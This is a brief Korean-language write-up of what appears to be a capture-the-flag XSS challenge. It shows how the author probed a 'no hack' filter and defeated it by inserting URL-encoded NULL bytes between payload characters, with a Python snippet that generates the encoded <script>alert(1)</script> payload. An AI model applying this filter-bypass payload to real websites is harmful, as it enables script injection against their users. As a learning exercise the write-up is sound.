xss 공격을 하라고 한다. <script>alert(1);</script> 그대로 입력해보자.
no hack이다. 필터링하는문자가 있을것같다. 확인해보면,
하나씩 입력해보면 태그는 필터링하지않는것같다.
왼쪽은 <h1>hello</h1> 을 입력했을때다. 어떤문자를 필터링하나 하나하나 입력해봤다.
<h1>h</h1> -> 통과
<h1>he</h1> -> no hack
이렇게 뜨는걸 봐서는 문자열이 두글자이상일때 필터링하는것같다.
문자열은 NULL문자 로 우회할수있다.
이런식으로 문자사이사이에 %00 (NULL문자 URL인코딩) 을 넣어주면,
문자가 붙어서 출력되는걸 볼 수 있다.
>>> a="<script>alert(1);</script"
>>> ss=""
>>> for i in range(len(a)):
ss+=a[i]+"%00"
>>> ss
'<%00s%00c%00r%00i%00p%00t%00>%00a%00l%00e%00r%00t%00(%001%00)%00;%00<%00/%00s%00c%00r%00i%00p%00t%00>%00'
python 인터프리터로 사이사이에 NULL 문자를 넣어주는 스크립트를 짰다. 완성된문자를 넣어주면,
alert(1) 이 실행되면서 문제가 풀린다!